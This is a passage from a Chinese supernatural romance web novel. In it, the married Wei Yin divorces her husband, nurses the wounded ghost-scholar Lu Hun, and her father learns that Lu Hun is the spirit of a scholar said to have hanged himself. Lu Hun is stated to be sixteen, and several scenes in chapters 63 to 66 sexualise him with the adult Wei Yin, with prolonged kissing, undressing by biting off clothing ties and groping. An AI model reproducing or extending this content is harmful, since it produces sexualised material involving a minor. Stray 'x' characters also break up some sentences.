他如梦似幻地看着这一切,在魏姻的手无意间碰到了不该碰的地方,他身躯忽的一震。 跟着,他下意识想往后缩起身子。 魏姻见状,俯下身去,不许他退后,捧起他的脸,安抚似地亲了他一会儿,跟他说话。 “陆魂,怎么这么大了还这么脸皮薄呀?亲都亲过姐姐了,还怕姐姐给你上药?” 陆魂刚开始默然不语,但似乎很快又意识到自己不该这样冷淡对她,便主动亲了亲她的额头。 魏姻简直要被这少年又羞又怕她不高兴的样子弄得哭笑不得,她笑了起来,“陆槐乖,只要你让姐姐给你上完药,就让你亲姐姐好不好。” 等到陆魂重新平静下来,才继续擦药。 魏姻怕他太害羞了,不敢再磨蹭,迅速将药上完。 她终于放下瓷瓶,准备去解开眼上的丝帕。 但这时,一只手拦在了她的眼前。 魏姻不解,“怎么了?是哪里还没有抹到么?” 陆魂没有说什么,可却一瞬不瞬地盯着她看。 电光火石间,魏姻终于想起来了。 她刚才答应了这少年。 魏姻倒是没有多言,伸手解开自己衣领的纽扣,又怕他亲不到,主动将身体弯了弯。 陆魂眼神暗了又暗。 黑了又黑。 如果魏姻没有蒙着眼,他没有胆量这样做。 可魏姻是蒙住了眼,主动愿意的。 少年再也克制不住了,亲吻起她来。 少年身体无法动弹,手也没有什么力气抬起来 少年毫无经验,毫无章法。 急促的亲吻弄得魏姻脖子发麻得很。 魏姻见他急促得都快喘不过气来,无奈哄道:“别急,姐姐又不跑,你慢慢的,别给自己弄晕过去了。” 少年正亲得入迷,倒也没有顾得上害羞了。 一会儿后,魏姻怕他重伤在身,累着,不许他再继续。 陆魂不肯,费力抬手去拉住她,魏姻恐他将伤扯动了,只好由着他,魏姻蒙住了眼后,少年胆子大了许多,他一面吻着魏姻还不够,时不时还小心翼翼说,让魏姻去亲亲他才行,而魏姻一亲他,他就更急了。 少年实在是年岁不大,经历太少,硬是缠着魏姻亲了一个多时辰才肯罢休,而且,还是最后x实在气力接不上了,累得没办法了,才肯放她起身去吃东西。 魏姻将帕子解下,来到铜镜前一看。 脖子上已经全是少年的吻痕,几乎没有一点干净的地方。 至于那封信,很快裴老送去了京城,直等到魏父一来,她就再也不用怕贺文卿不肯和离了。 而这两日,魏姻就在照料陆魂的伤。 期间,贺文卿来过两次,要接魏姻回贺家,裴老知道魏姻要和他和离的事,便一力将其拦了下来,没让贺文卿来打扰她。 后来,贺文卿又让陈宣华来见魏姻,魏姻见了她,陈宣华说了贺文卿想要她来劝魏姻回去的事,不过陈宣华知道魏姻要铁了心和贺文卿和离,所以,并没有按照贺文卿吩咐的那样,劝魏姻,只与魏姻闲聊了半会,便又回去了。 贺文卿没了办法,又不好对裴老不敬,暂时没有再让人过来。 第64章 而这几日,陆魂动不了,依旧是魏姻每日给陆魂上一次药,上药时,陆魂总是抿着唇,安安静静地望着她的眼睛,攥住衣袍,直到魏姻无奈把眼遮上,少年这才慢慢将手松开。 等上完了药,少年又会静静握住她的手臂,同样一句话不说,只盯着她看,魏姻一下子明白了他的小心思,好笑着将衣领纽扣揭开,伏身让他亲。 初尝情事的少年刚开始还是有点小心翼翼的,亲了两次后,就无师自通要亲她的脸、她的唇了,有时候更是身上疼得哆嗦,都要强撑着勾起魏姻唇舌厮磨半天才肯退开。 到后面,陆魂好了些许,手一有力气可以抬起来了,于是在魏姻上完药,径直解开衣领纽扣让他亲,少年却将她拦住,他伸出颤颤手指,要自己亲手解开她的衣裳。 但唯独,少年始终不许她将丝帕摘下。 魏姻只好全由着他了。 而就在这日,陆魂擦完药,刚颤颤解开魏姻衣领,一手托住她的脖颈亲,另外一只手情不自禁搭在她衣裳滑落的圆润肩头用力揉捻时,魏父从京城赶到了文家老宅。 这是一个年约四十岁,可仍旧身姿健长,清俊不减的男人,他爱洁净,注重仪容,即使是快马奔波赶来,身上也不见丝毫风尘,一身深色衣袍外,披着一件白狐皮的雪白披风,举止优雅又从容,只是眼底偶尔会流露出几分孤闷不乐,但很快又被他全部压制下去了,另外,加上在朝为官多年,看上去虽温和儒雅,但又隐隐约约透露着几分深沉晦涩。 他一下马车,也没记得先去拜见前辈裴老,只一心对迎接的人说,“我姑娘呢?她在哪?怎么样了?” 裴老与魏家幸好也是相熟不过的,知道魏父这毛病,平常还是对裴老尤其敬重有礼的,裴老便亲自带着魏父来到了魏姻这里。 裴老看到房门紧闭,才想起来,对魏父解释道:“看这样子,她还在里头给陆家那孩子上药,你随我去偏房坐坐吧。” “陆家孩子?” 魏姻书信上丝毫没有提过陆魂的事,魏父完全一无所知。 “这是谁?她跟我写信说要与贺文卿和离,贺文卿不同意,让我来跟贺文卿说,她之前不是还和贺文卿过得还成么?怎的又不肯过了,难不成,是因为这什么陆家的?” 裴老没理会他,径自往边上屋里走去,魏父见状,只得跟过去。 二人的话,自然传进了房里,陆魂听到了,很快,有丫鬟在外头敲门传话进来,“裴老说,魏大人到了,稍会便与魏大人来见夫人了。” 陆魂愕然抬头。 他望着尚且蒙住眼的魏姻,以及未着寸缕的他的身体,他这副模样,与已有夫君的她不清不楚在一处,而她的父亲便要来了,他如梦初醒般,从魏姻的肩头抬起脸来,满脸窘然。 魏姻听了这话,倒很淡定,见陆魂半天没动静,她轻声在他耳边问,“够了?” 陆魂白着根本看不出白的脸,心不在焉嗯了声。 “那姐姐就扣上去了?” 魏姻整理好被他弄乱的衣裳,又去替他将衣物穿好,陆魂见她只给他像平常那样穿了里衣,拉住魏姻,又迟疑要求道:“姐姐,你给我将外面的也穿好,扶我起身,这样见你父亲,不好。” 陆魂身上这几日虽说好了许多,但烂的地方才刚刚开始重新痊愈,碰起来仍旧痛得很,而且他如今身上并没有什么力气。 不过这些天日日与他亲近下来,她了解了他的几分古怪脾气,知道他这是怕自己那个样子没有礼数,让魏父不喜欢。 在这方面,陆魂是很倔强的,不会听魏姻的。 于是只好让他忍着点痛,替他将衣袍一件一件穿好。 陆魂一直习惯了穿之前布衣儒巾的打扮,不喜华衣,总觉得不适应,魏姻就特意让人去照着定做了两套一模一样的,给他戴上方巾,系上腰带后,魏姻这才解开丝帕,少年则低着头,自己又仔细抚平衣上的各个褶皱,像是要去见丈人一样。 魏姻心里想着这话,清楚少年脸皮薄,一点不敢说出来。 到时候弄得一直羞红了脸见魏父,一句话说不出来,那就不太好了。 魏姻扶着陆魂起身,他太瘦了,没什么肉,不会很费力,就是他还伤着,没力气站立,要偶尔扶扶东西才不至于脚软。 刚完毕,丫鬟就去请了裴老和魏父过来。 在魏父进门后,陆魂微微垂着眸,静默跟在魏姻身后,像是没有存在感一样。 魏父因此都没怎么注意到他,一心记挂着看女儿了,拉住魏姻问个不停,又喊人将他给女儿从京城带来的许多衣裳首饰给她看,直磨磨唧唧地让裴老都不想看了,说要回去歇着。 魏父不管他,拉起魏姻开始问起正事。 “姑娘,你和贺文卿出了什么事?怎的突然说要和离了?我听说他前些日子另外纳了个二房,可是给你什么气受了?你放心,咱想离就离,阿爹回京给你找个更好的,就说那位纪御史家的小子,就以前不学好那个,为了你要好好考个功名的那个,你还真别说,他如今倒是真转了性,今年春闱,他竟真博了个功名,虽说名次太后了些,但到底有个样子,来荒州的前两日,他还来看我呢,陪我喝了半宿的酒,他到现在还没娶妻呢,我看是对你还有点心思,不如爹待会就写信给他替你探探口风?” “这事跟宣华没关系。”魏姻见他越说越起劲,无奈了,“阿爹,我还没和离呢,你着什么急。” “这有什么。”魏父毫不在意,继续说起来,“你若实在对纪家那小子不满意,阿爹给你说今年入了我部下的一个小子,他很能干,身世清白,长得也不比贺文卿差,之前是个……” 魏姻注意到了身后越来越沉默的少年,赶紧打住魏父徐徐不断的话头,对魏父说:“阿爹,这是陆魂。” 魏父这才看到少年,一眼就被这个气质阴郁安静的少年给吸引住了,忍不住多看了两眼,依他看,这少年年岁很轻,怕是只有十来岁。 可他忽然发现,这少年看着有一点眼熟,像是以前在哪见过。 魏家学堂是魏姻祖父在料理的,魏父极少有空闲理会,一时倒也没将其认出来。 陆魂撑起身子,礼数周到地朝魏父行礼问好。 “学生见过魏大人。” “你身子还没好,还是回去躺着吧,我与父亲去外头说话。”魏姻去扶他,陆魂乖乖跟着她回去了,任由她给他送回床榻,盖好被褥。 魏父若有所思看在眼里。 来到外头,魏父笑吟吟往里头望了一眼,才瞅瞅女儿,“姻儿,看来是不用为父给你找了,他多大了?” 魏姻想了想,“十六岁了。” “太小了。”魏父叹口气,“这个年纪还不知什么事,不过你若喜欢,那就算了吧。” 魏姻懒得和魏父解释那么多,只道:“阿爹,我与贺文卿和离,跟陆魂也没有干系,是我如今才发现,贺文卿还不如阿爹。” 魏父闻言,似乎在想什么痛苦的事,大约是死去的妻子,他沉默了会儿,没再多问,“阿爹知道了,你自己掂量明白就是,你若是真铁了心,阿爹就让人去将贺文卿请来,你们把和离书写了吧,到时候我让人去衙门戳盖,你们就再无关系了。” 魏父派了身边的一个心腹去贺家请贺文卿。 这x个心腹是贺文卿认识的,贺文卿一知就是魏父要他去跟魏姻和离,他只装作有事,不肯见。 魏父一听,直接给贺老爷子下了个帖子,说来了荒州,想要见女婿一面,怎的女婿不肯上门拜见,贺老爷子不知道他们要和离的事,反遣人去训斥了贺文卿一顿,让他赶紧去拜见丈人。 贺文卿真是有苦说不出,没法跟贺老爷子说魏姻与别人不清不楚要和离,只得咬着牙,脸色难看赶来文家老宅。 在书房谈这个事。 裴老坐上首,魏父带着魏姻在下面陪着。 贺文卿不情不愿赶来,当看到案上纸墨整齐被放在镇纸旁边等着他来,心头更是抽疼得很。 他万万想不到,他与魏姻的婚姻竟已经走到了这一步。 起初,贺文卿见到魏父还不肯,冷声道:“岳父大人,姻儿她与旁人不清不楚,要与我和离,你难道要坐视不理么?任由她任性?” 魏父面对其他人时,再无一点随意,从容笑了笑,“文卿,什么也不必多说了,还是写吧。” 贺文卿深吸口气,他忽然笑了起来,“岳父大人,你恐怕还不知道跟在魏姻身边的那个人他是个什么东西,他根本就……” “贺文卿!”魏姻连忙出声打断他,然而贺文卿眼见婚姻都到这个份上了,怎能让她如愿和一个鬼在一起?他不顾魏姻的阻止,仍旧要开口,可却被魏父伸手阻拦住,“文卿,我不管那个孩子是谁,但是你们俩既然过不下去了,那还不如好聚好散,你若是还没有想清楚,我便陪你坐下来慢慢考虑,你想考虑一天,两天,一个月,几个月,几年都没有问题,你考虑一天,我便陪你一天,但你总不能不回京复职吧?若是回去太晚了,恐怕圣上也要将你这个人给忘了。” 显而易见,他今日若是不写下和离书。 就不用回去了。 贺文卿僵着脸,用力拿起笔。 第65章 魏姻终于和离了。 贺文卿在书房里写下和离书后,将其交给魏父,魏父看了一眼,确认没什么问题了,再给魏姻看,贺文卿神色阴沉地凝了魏姻一眼,连平常看重的那些礼数都顾不上,没跟裴老和魏父行礼告辞,便重重扔回笔墨,头也不回地踉跄离去。 魏父扶裴老回房休息,魏姻后脚离开。 她才出书房,准备去看陆魂,谁知贺文卿去而复返,突然出现在了她的眼前。 贺文卿其实并没有走,而是一直待在书房外的一处隐蔽廊檐下,看着魏父裴老离去,魏姻走出来了,他才上前。 夫妻反目后,魏姻已经没怎么理会过他了,今日才发现贺文卿面容憔悴,向来齐整的衣物总显得几分凌乱,看起来很不好受的样子,此处好在有裴老的仆从,魏姻并不怕贺文卿胡来。 贺文卿沉沉道:“你当真,一点夫妻情面都不看,要和我和离?” “我们已经和离了。”魏姻说道。 贺文卿仿佛这才记起来有这回事,突然受了天大的打击似的,身体也垮了下去。 魏姻静静看他一眼,转身要离去。 “魏姻!” 贺文卿失神落魄地再次抬起头,叫住她,“是,我那天是说了些羞辱你脸面的话,可那是我气疯了,才一时口不择言,自问成婚这几年,我足够容忍你那性子了,即使你没有子嗣,我也帮你在母亲面前说话,即便后面纳了宣华让她有孕,也从未想过让她威胁你的地位,你却如此决绝,毫不顾念这么多年的夫妻之情,你到底可曾对我有过一点情意?” 魏姻没有回他的话。 见此,贺文卿冷笑开来,“魏姻,你是人,他是鬼,阴阳有隔,即使我们和离了,你也别想能和一个鬼能在一起。” 魏姻转身就走。 贺文卿阴阴站立在原地,死死盯着她离去的身影。 魏姻径自来到了陆魂房里,少年不曾躺下,一直拥被半坐在床榻上,手里握着卷书,可目光却呆呆注视着门口方向,见她来了,又连忙垂下头去。 今日忙着与贺文卿和离的事,还没来得及给陆魂身上上药的。 魏姻拿出丝帕,要去蒙眼,可陆魂忽然抬起头来问道:“魏姐姐,贺文卿来了?” “嗯,已经走了。” 魏姻一面蒙眼,一边说道,伸手去脱陆魂的衣物,这两日魏父在,陆魂说什么都不肯只穿里头一件衣服,每次都让魏姻帮他穿戴整齐。 这时候,陆魂见魏姻并没有多说的意思,终于忍耐不住,把藏着的话问了出来。 “姐姐与贺文卿和离了么?” “离了。” 魏姻刚说完这句话,就忽然听到少年一把握住了她的手腕,再轻轻一拉,魏姻就往前扑进了他的怀里。 陆魂低下了头,直接一口咬在她衣领的系扣上,他浑身仿佛因为心绪起伏而微微颤抖着,魏姻遮住了眼,看不到少年脸上的神情,但只听“绷”一声,她颈子上的纽扣纷纷脱落下来,片刻后,她才红着脸发现,是少年一个个咬掉了。 可接下来,她发现少年还没有停下来的意思。 他竟然,又用牙去咬她的衣带。 魏姻惊了下,想要扭身退出去,陆魂一手紧紧扣住她的颈子,一手深深插进她的发顶,箍住她的头,竟是从未有过的强硬,哑声道:“姐姐,别动,姐姐我求你别动,好不好?” 魏姻发愣时,陆魂已然俯身咬掉她所有的衣带。 除了还有一件贴身衣物在里头。 什么都在他眼底了。 他虽然没有再继续咬她脖颈后那最后一条系带,但却隔着薄薄的贴身衣物,低下头去。 陆魂喘着气的空隙,又道:“姐姐,替我脱衣上药吧。” 魏姻被他亲得脑子完全发懵了,下意识听他的,将手落在他的腰带上。 可陆魂却拦住了她,他粗声粗气地咬她耳垂那点软肉,语气欲到了极致,“不要用手,咬开。” 魏姻想不到,这个从来都脸皮薄,即使亲她也一定要她蒙住眼的少年,会说出这样的要求。 她神智突然回笼,“你怎么了?你被文轩……又控制了么?” 这种事,这种话,只有他被文轩控制时候才做得出来。 陆魂并未立即回应她的话,而是撬开她的唇舌,在她口中残风暴雨似地纠缠了一会儿,直将魏姻吻得气喘吁吁,身子发软虚浮只能完全倚在他臂里的时候,他才红着湿漉漉的眼眶,才忽然说道: “姐姐终于不是别人的妻子了,我好高兴。” 电光火石间,魏姻一切都明白过来了。 她无奈一笑,顺着这鲜少情绪外露的少年,弯下身去,咬住他的腰带。 可她刚这样,少年便极敏感地浑身战了一下,将双手整个都插进了魏姻的头发里,极深,极用力,几乎弄得魏姻头皮一阵紧绷。 “不舒服么?那还是不这样了吧……” 魏姻好笑抬头,透过丝帕望住这个没怎么经历过情事的少年。 “不要。”少年咬着唇,他脸红得发烫,声音颤得厉害,但还是坚持道:“我……我没有不舒服,就只是有一点点的难受,难受得又有点舒服……姐姐,你快,不要说话了,我没事,姐姐你快点,我就要这样。” 魏姻只好由着他了。 可没一会儿,少年就抖得跟筛子一样,似乎再也忍受不住这种磋磨,猛地伸手将魏姻捞起来,不由分说就亲上她的唇,将她直吻得唇瓣红肿起来了,他才渐渐平复了些呼吸。 魏姻实在有点想笑。 他年岁太小了。 又从未有过男女那方面的经验,最近才知道一些,但也不过是简单的亲吻罢了,现在仅是这一点点的磋磨,就让他身体激烈成这副模样,还是不能让他胡来,免得耽误伤恢复。 魏姻想着,温柔用手揉揉他浓密的发丝,哄劝道:“好了陆魂,别急,慢慢来好不好?姐姐以后再帮你这样行不行呀?” 陆魂不愿意就这样算了,更怕他下次没有了勇气。 “我……我可以的。” “乖一点,听姐姐的话。”魏姻倾身,亲亲少年的额头、阴郁眼睛、再是那极瘦高的鼻梁,最后又主动邀着他来缠自己的唇舌一会儿,才退开,道:“你小,还生涩得很,要一点点来才可以,你听话的话,姐姐以后哪里都让你慢慢亲个够好吗?” 陆魂眼神一烫,“哪里……都可以?” “嗯。”魏姻叹口气,将头埋在他的肩头,“你成熟点后,想要姐姐怎么样,就怎么样,嗯?” 陆魂只得低下头去,乖乖地嗯了一声,“那姐姐今日要亲我久一点。x” “好。”魏姻说着,就再次在他眉心蜻蜓点水吻了一下,“你待会什么时候满意了,姐姐就停下来行么。” 陆魂再次轻嗯一声。 任由魏姻一面替他上药,一面亲他安抚。 在魏姻做这一切的时候,少年则是目光迷离地转过头去看向别处。 他从未敢想过。 藏在心里心悦了这么多年的魏家姐姐,会与他有濡沫交融,交颈缠绵的这一天。 不真实得,像是一场他妄想多年的南柯梦。 被她亲到情到深处时,陆魂忍不住,潸然红了眼睛。 许久后。 魏姻替他重新穿戴好衣物,这才突然想起什么,道:“我都忘了,裴老今晚要给父亲接风设宴,父亲说,要你也过去,他想跟你说几句话。” 说着,丫鬟就来房外敲门了。 “夫人,我家老大人与魏大人都已去了前院饭厅里,问夫人和陆公子什么时候能过去,请尽快过去。” 魏姻说一会儿就来,让丫鬟先去前厅说一声。 陆魂意外得很,他紧张地手都抖了一下,小声道:“魏大人为,为何要与我说话,可是我那天见他哪里失了礼数……” “你个傻子,怎么这都忘了。”魏姻摸摸他的脸,哄道:“你日日跟他的女儿呆在一处,又是他女儿日日为你亲自上药,他当然得要见你,跟你说话了,你放心,我阿爹不会为难你的,他就是想了解了解你,不过你又不能吃东西,还是不去的好,我待会跟阿爹说一声吧。” 陆魂皱眉,“不去不好,我可以吃完再吐出来的……” 魏姻替他理理被头发缠住的飘带,笑道:“那你若是实在不善与人亲近,就少说话,我替你应付他。” “姐姐不用这样,我知道怎么做。” 陆魂虽个性孤僻古怪,不善于人交谈,但他并不蠢笨,反而极聪慧,不至于这都要魏姻帮他。 前厅晚宴刚开始不久,魏姻和陆魂赶着过来了。 裴老自然在上首,左手边陪坐魏父,魏父注重仪容,每日就算不沐浴,便也是要换一身衣袍的,今晚映着晚宴的景,就穿了身闲适的,不冠,只随意用一条低调的黑色绦带将头发松松挽住,不知道的人一看,还以为是个年轻青俊。 魏姻母亲的死,让他至今悔恨。 这些年,一直是一个人,身边没有过姬妾,也没有再另娶妻室。 府中也只有当年那个姬妾生下来的男孩,而那个姬妾,也早在生产时难产而去了。 魏姻与陆魂过来时候,魏姻在前头,陆魂一如往常,习惯性地垂眸跟在她的身后,就像是个沉默的护卫一样。 魏父眯着眼睛打量女儿身边的这个男人,不,还是个极年轻的少年人,他见魏姻要牵着陆魂一起坐到他身边,立刻笑吟吟吩咐,“姑娘,你去裴老那边,给裴老斟酒吧,让这陆公子陪我喝就行了。” 第66章 魏姻只好去裴老身边给他倒酒,陆魂则低头安静坐于魏父手边,魏父问了陆魂些话,少年腼腆,但一一有条有理地答了,只是将有些不能说的事,不动声色给隐住了,魏父得知陆魂是个读书人,又考了他些学问上的事,少年答完,魏父微微愣了一下,似乎有些出乎意料,不过仅仅是片刻,魏父又不动声色笑了起来,似乎没什么再问的了,于是亲自拿酒壶给陆魂斟,少年忙双手捧起,接酒,魏父看他这小心模样,笑起来。 “陆公子不必拘束,我不太讲礼数的,今日这酒是我自个酿的,特意带来给裴老喝喝,你尝尝味道如何。” 少年颔首应道,捧着酒,见魏父盯着他,什么也不说,只静静吞下这杯酒。 魏姻眼看着魏父还要继续给陆魂斟酒,忍不住了,“阿爹,他年纪小,你别给他灌那么多酒。” 魏父不搭理她的话茬,反而是陆魂轻轻说道:“魏姐姐,不碍事的。” “这就对了么。”魏父赞赏地拍拍他的肩膀,又瞪魏姻一眼,“人家都不说什么,你操什么心,别尽顾着给裴老酒喝,替裴老端碗粥来暖暖胃。” 裴老带着玩味的笑望着,并不阻止,任由魏父给陆魂灌酒。 接下来,魏父继续给陆魂喝酒,陆魂即使喝得头都有些发晃了,在定定吸口气回回神后,便依旧一言不发,乖乖捧出自己的酒杯,任凭魏父给他倒,如果魏父不倒,他也就不再碰了,安静地坐在魏父手边,极认真板正地听着魏父说话。 倒像个随长辈出门在外的懂事孩子一样。 魏父最后盯住陆魂,少年虽然醉得厉害,但眼眸始终诚挚乖巧,魏父一时竟有些不忍心再继续灌他酒了,“行了,你这孩子少喝点,手都抖了,去外头廊下坐坐醒醒酒吧,别给自己醉倒了,明日醒来不好受。” “是,魏大人。”陆魂闻言,只得愣愣放下酒杯,起身。 魏父望向这少年,好笑摇摇头。 魏姻趁此机会,连忙扶住醉醺醺的陆魂往外走。 两人都走了,一直不怎么作声的裴老才笑呵呵地看魏父一眼,“怎么样?” 自然问的是陆魂了,魏父摇摇头,笑了一声,“这孩子,年纪不大,但乖巧得很,看着倒还怪让人心疼的,不忍心为难他了。” 裴老:“确实。” “陆魂……”魏父咂摸着,“只是,我总觉着,以前好像在哪见过这孩子,也从哪听说过这么个人,可一时想不起来了……看他模样,人虽聪慧,学问也极好,但家境应是清贫些的,不过也不碍事,只要姻儿喜欢,便随他们吧。” 裴老但笑不语了。 廊下。 裴老不怎么喜欢侍弄花草树木,秋日的庭院显得萧条冷落,也没什么花草点缀,只常年摆着几棵迎客松,打理少,迎客松长得七扭八歪,姿态张狂。 陆魂扶着魏姻的手出来,他的脚步早已虚浮,面色难看,唇被用力抿住,好像怕在里头就会吐出来。 等一来到无人处,陆魂就痛苦地攀着栏杆,吐了起来。 魏姻任由他吐着,只用手帕轻轻顺着他的后背,等他吐得差不多了,又去端来一杯香茶给他漱口。 她捏着帕子擦拭少年苍白的嘴角,责备道:“既然不能喝,就不要喝么,你还一杯一杯给自己灌。” “姐姐父亲的酒,不喝不好。” 陆魂喝了一晚上的酒,如今虽然都吐了出来,可他不怎么胜酒力,此刻依旧是醉醺醺的状态,却因着醉酒,眼睛少了些平常的阴郁之色,看起来,黑亮亮的。 他直直愣愣地睁着眼眸,一个劲盯着魏姻看。 “你要做什么?”魏姻意识到了他不太正常。 陆魂没有言语,他突然抬起手掌,覆在魏姻的眼前,只听他道:“要和姐姐亲吻。” 话音落下,少年身体往前一挤,魏姻便被他推到了柱子上,她什么都看不到,少年带着一丝酒意和香茶的冰凉的唇,很快贴到了她的红唇上。 跟着,少年又提醒还在发愣的她,“姐姐,张嘴,让我进去。” “别闹,这里会有人经过的,万一我阿爹他们出来,很容易看到。” “看到就看到了。” “陆魂。”魏姻听少年说话如此大胆,将他的脑袋往外推推,问道:“是还在高兴姐姐和离,忍不住,还是喝醉了?知道自己在说什么么?” “没醉。”陆魂摇摇脑袋,即使魏姻的眼睛被他的手遮住,根本看不到。 “真的没醉么?”魏姻继续耐着性子道:“那你跟姐姐再说一遍刚才的话。” 陆魂迷迷惘惘地想了想。 “我要和姐姐亲吻。” “姐姐张嘴。” “让我进去亲姐姐。” 魏姻低低笑出了声,“行,还记得,那待会酒醒了,你可不能脸红得说不出话来,知道么?” “不会的。”陆魂着急了,不愿意再听她说这些,“姐姐,陆魂要和姐姐亲,姐姐不要再讲话了。” 魏姻笑了声,不听他的,故意紧紧咬着齿关。 少年察觉到她的故意,却并不敢强横蛮闯,软了声音恳求,“姐姐,陆魂要亲,姐姐,让我进去亲好不好?” 少年嗓音都快要软出水来了,甚至还带点可怜。 魏姻实在吃他这一套,不忍心看他这样,于是先扶稳了他的腰,不至于待会被技术生疏的少年横扫乱舔地给弄得站都站不住,这才,松开了唇齿,放他进来。 魏姻被迫承x受着少年的狂风暴雨,即使攥紧了他,身子还是不由往下软,少年总要往下捞她几回,陆魂伤没好全,气力并未完全恢复,他便干脆坐下来,将她抱在腿上。 外头起了一阵很大的北风。 吹得树木直往一边歪。 这时候,破军不知道从哪里睡起来,飞到了陆魂和魏姻的身边,看他们俩只顾着亲吻,根本没有注意到它的存在,它也不恼,只跟着吹进廊下的风向一会儿往魏姻这头歪歪,一会儿往陆魂那头歪歪,好像在和风全程注视着他们的行为。 风灌进来,刚好全吹在了少年身上。 陆魂慢慢地就被风吹醒了酒意,他动作顿住,怔怔望着被他遮住眼的魏姻,而魏姻整个人被他揽坐在腿上,他的一只手,则穿过她的外裙,握在她腰窝的一块软肉上。 陆魂如梦初醒回了神。 偏过头去,破军立马探出个剑脑袋来瞅他,好像在问,你怎么停下来了呀。 陆魂显然是想起来了什么,脸色略显尴尬,慢慢放开了遮魏姻眼的手,让她起身。 魏姻看到他又开始垂下的头,就知道这少年已经醒酒了。 “怎么不亲了?” 陆魂没作声,眼也不抬地默默替魏姻整理起弄皱的衣裙和头发。 魏姻刻意低了低头,问他,“还记得,刚刚怎么跟姐姐说的么?” 陆魂立即摇头不肯承认。 魏姻看他这副样子,就想逗弄他,“刚刚有个人说,想要和姐姐亲吻,特别不耐烦呢,一直让姐姐张嘴,要进来亲姐姐。” “姐姐。”陆魂不敢再听下去,“你别说了。” 他白日在屋里那次,那是因为他知道她和离了,实在喜悦,才那样大胆,此生恐怕也就只有那一次。 魏姻不肯放过他,“说不定,破军都听到了,破军,陆魂他刚刚是不是这样跟我说的?” 破军那会其实还在哪睡呢,根本就没听到,可它睁眼说瞎话,故意猛点剑脑袋。 它听到了,听到了。 就是这样说的! 嗯! 魏姻很满意地摸摸破军,“你看,它都听见了,你还跟姐姐酒醒就不认人呢?” 陆魂被说得头都要抬不起来了,但他不敢说魏姻,便恼羞成怒,抬起手,要将破军收回去,破军不愿意回去,想跑,但没来得及跑掉,唰地就被陆魂给收在了手里,接着,整个剑也从手中凭空消失不见。 魏姻刚要笑,忽然察觉到哪里有道视线,抬起头,却望见,她的父亲魏父,立在了不远处,看不出脸色地朝他们这里望。 陆魂也发现了。 面容一怔。 显然,收破军那一幕,全被魏父看见了。 但魏父并未表露出很震惊不敢相信的样子,只沉沉地注视陆魂好久,魏姻思虑了下,不动声色走过去,刚要说话搪塞,魏父却对她摆摆手。 “不用唬我,你阿爹眼睛还看得见。” 魏姻这下不知道说什么好了。 魏父从陆魂身上收回视线,跟着道:“魏姻,陆公子,先随我去裴老书房吧,我要问你们话。” 书房。 魏父立在裴老常写字的那块大案后,等到魏姻和陆魂都跟着他走进来了,他才在椅子上坐下,目光再次停留在陆魂的身上,但这次是前所未有的严肃和仔细,仿佛要看出陆魂到底是个什么东西来才罢休。 陆魂抿起唇,“魏大人……” “先别说。”魏父抬手打断,“你方才那把剑呢?是怎么收进去的?再放出来给我看看。” 显然是没有想到他要看剑,魏姻和陆魂都迟疑了一下,陆魂于是上前,将手伸出,片刻后,一柄极长的发锈剑就躺在了他的手心上。 破军没有乱动,它似乎也很懵,不敢动。 魏父走过来,伸手拿起了少年手里的这把剑,他将整个剑,从头到尾,连剑柄那上面的细纹都仔仔细细端详了一番,而后,扯了扯嘴角:“是圣上当年常佩的那把破军。” 他将剑“嗖”地握起,往旁边一挥。 只听凌空一声,犹如裂帛。 第67章 剑在魏父手中细细把玩着,破军鲜少有机会被人抚摸,它忍不住地翘起了自己的剑脑袋,往魏父手臂贴贴,魏父看着自己会动的剑,怔然。 “破军,不得吓着魏大人。”陆魂柔声呵斥。 “不碍事。”魏父似乎挺喜欢破军的亲近,他重新注视起陆魂来,将少年从头到尾都看了一遍,半天后才对着少年幽幽开口:“如果我没认错,你这孩子身上这把剑就是当年圣上的佩剑破军,有次我巧合听圣上提过一次,说他在几年前北征回京,经过一个自缢举子的坟前时,在听过这个举子的事,便将破军埋在了这个举子的坟前。” 陆魂低着头,微微用力抿住的薄唇,看得出来他在听魏父说话。 魏父目光如炬,继续说道:“五年前,我依稀听说过一个曾在我魏家学堂里读书的年轻人,在中举的当晚,自尽在了菩萨庙的火海里,听说,这个自缢的举子,刚好姓陆来着,好像,就叫……陆魂……对吧?” 陆魂神色安静。 魏父皱着眉头问道:“陆公子,你就是那个在中举当晚,缢死在菩萨庙里的举子吧?” 陆魂沉默了须臾,点头,“是,魏大人,我就是他。” 魏父抖了抖眼角,似乎有些不可思议,“这么说,你并非是人?” 陆魂没有再用言语回答,而是毫不遮掩地,指尖用力在手臂上一划,只见一汩黑血流了出来。 正常人,哪里会流出黑色的血液。 魏父看得眼睛发直,魏姻拿出贴身帕子,捂在他手臂上,“阿爹,你别吓着,陆魂他确实是鬼,但你放心,他不会害人的。” 魏父朝她摆手,“裴老一个人在里头,你进去陪着他人家。” 魏姻看出了,父亲这是要将她给支走,单独和陆魂说话,魏姻不太想离开,陆魂却捏捏她的手心,微笑着让她先进去,他待会就过来。 廊下只剩下了魏父和陆魂。 魏父打量起面前这个年轻人,模样端正清秀,眉眼清明,是个正直的好孩子,可有着一双极悒郁的眼眸,好像藏着莫大的悲哀在心间。 魏父思虑着,直到魏姻离开回了饭厅里,他才开口道:“陆魂,方才姻儿在,还有些事我没有说出来,实不相瞒,你当年自缢这桩案子,是我一个同僚在处理,他跟我说过一些你这桩案子。” 陆魂恭顺听着他继续讲下去。 “我的那个同僚说。”魏父说道:“你应该不是自缢的。” 陆魂始终保持沉默。 魏父观察着他的神情,“他访查过你生前种种行为,说你虽自小内敛悒郁了些,但在中举这天,虽并不像旁人那样喜悦兴奋,可却绝无有过什么想不开的念头,听你的一个邻里陆阿婆说,那时你的祖母虽已病逝,但你在她老人家面前立下过誓言,说绝不会自寻短见,会好好活下去,而她还说,你似乎有一个喜欢的姑娘,就在我魏家学堂里,而经过多方勘察,可以看得出来,你在得知自己中举之后,还随着一起得中的同年一起去拜访过主持考试的座师,而听你的那些同年透露,你确实并无自缢打算,还一心准备明年的春闱,你还怕明年春闱那时正好是你祖母忌日,还特意让你的邻里陆阿婆,说他若是考试耽误了给祖母扫墓上香,让她先代劳,等你考完了,再去看她墓前看她老人家,如此一个毫无自尽念头还在准备明年考试的举子,又怎么会到了夜里,往菩萨庙放了一把火,突然自缢而死呢?” “我那同僚一直觉着,你不像是要自缢的人,可无论他怎么查,你最后确实又是自己自缢的。” 陆魂听着魏父这些话,虽低着头,但却似乎因为想起了什么不愿意回想的事,单薄身子明显僵了僵。 好半晌。 